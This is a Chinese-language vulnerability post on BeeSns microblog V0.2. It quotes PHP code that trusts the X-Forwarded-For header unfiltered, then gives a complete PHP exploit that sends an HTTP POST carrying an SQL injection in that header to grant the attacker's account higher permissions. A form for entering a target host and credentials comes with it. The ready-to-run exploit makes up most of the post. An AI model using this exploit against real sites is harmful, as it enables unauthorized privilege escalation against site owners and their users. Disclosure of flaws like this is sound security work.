【漏洞】BeeSns 微博 V0.2 0day

发布作者：子仪

影响版本：BeeSns V0.2

官方地址：http://www.beesns.com/

漏洞类型：权限提升

漏洞分析：

IP过滤不严,导致用户可以提交恶意参数提升自身权限。这套微博系统风格挺不错的，个人比较喜欢，看代码是发现一些问题，直接看代码吧。

以下是引用片段：

// 获取客户端IP
function getip()
             { if (isset($_SERVER))
                    { if (isset($_SERVER[HTTP_X_FORWARDED_FOR]))
                           { $realip = $_SERVER[HTTP_X_FORWARDED_FOR]; }
                      elseif (isset($_SERVER[HTTP_CLIENT_IP]))
                           { $realip = $_SERVER[HTTP_CLIENT_IP]; }
                      else { $realip = $_SERVER[REMOTE_ADDR]; }
                     }
                else { if (getenv("HTTP_X_FORWARDED_FOR"))
                           { $realip = getenv( "HTTP_X_FORWARDED_FOR"); }
                        elseif (getenv("HTTP_CLIENT_IP"))
                           { $realip = getenv("HTTP_CLIENT_IP"); }
                         else { $realip = getenv("REMOTE_ADDR"); }
               }
$iphide=explode(".",$realip);
$realip="$iphide[0].$iphide[1].$iphide[2].$iphide[3]";//!我不明白作者写的神马东西，IP没过滤，漏洞产生
return $realip;

Exp：

< ?php
print_r('' +---------------------------------------------------------------------------+
<br> BeeSns v0.2 Getip() Remote SQL Injection Exploit<br>
site:www.beesns.com
<br> by 子仪<br>
Blog: http://www.sitedirsec.com <br>
+---------------------------------------------------------------------------+<br>'');
if (empty($_POST[submit]))
  {}
else
{ error_reporting(7);
  ini_set(''max_execution_time'', 0);
  $host = $_POST[host];
  $path = $_POST[path];
  $username = $_POST[username];
  $password = $_POST[password];
  send();
}

function send()
           { global $host, $path,$username,$password;
             $cmd = "uId=".$username."&uPw=".$password;
             $getinj="1.1.1.1'',permissions=5 where uid=''$username''#";
             $data = "POST ".$path."post.php?act=userLogin HTTP/1.1\r\n";
             $data .= "Accept: */*\r\n";
             $data .= "Accept-Language: zh-cn\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
             $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
             $data .= "Host: $host\r\n"; $data .= "Content-Length: ".strlen($cmd)."\r\n";
             $data .= "Connection: Close\r\n"; $data .= "X-Forwarded-For: $getinj\r\n\r\n";
             $data .= $cmd; $fp = fsockopen($host, 80);
             fputs($fp, $data); $resp = '''';
             while ($fp && !feof($fp))
                $resp .= fread($fp, 1024);
             if(preg_match(''#(.*)charset=utf-8(.*)1(.*)1(.*)0(.*)#Uis'',$resp))
                    {
                     echo "<br><font color=''green''>提升权限成功！</font>";
                    }
             else
                    { echo "<font color=''red''>Failed!</font>"; }
           }
?>
<form action='''' method=''POST''>目标地址：
<input type=''input'' name=''host'' value=''www.sitedirsec.com''>*请勿加
<a href="http://
http://http://%3cbr/">http://<br</a>>二级目录：
<input type=''input'' name=''path'' value=''/''>*如果不是二级目录，请保持默认<br> 用户名：
<input type=''input'' name=''username''>*您在目标站申请的用户名，
<font color=''red''>
建议用小号测试
</font>
<br>
密码：<input type=''input'' name=''password''>
<br>
<input type=''submit'' name=''submit'' value=''提升权限''>
<br>

文章目录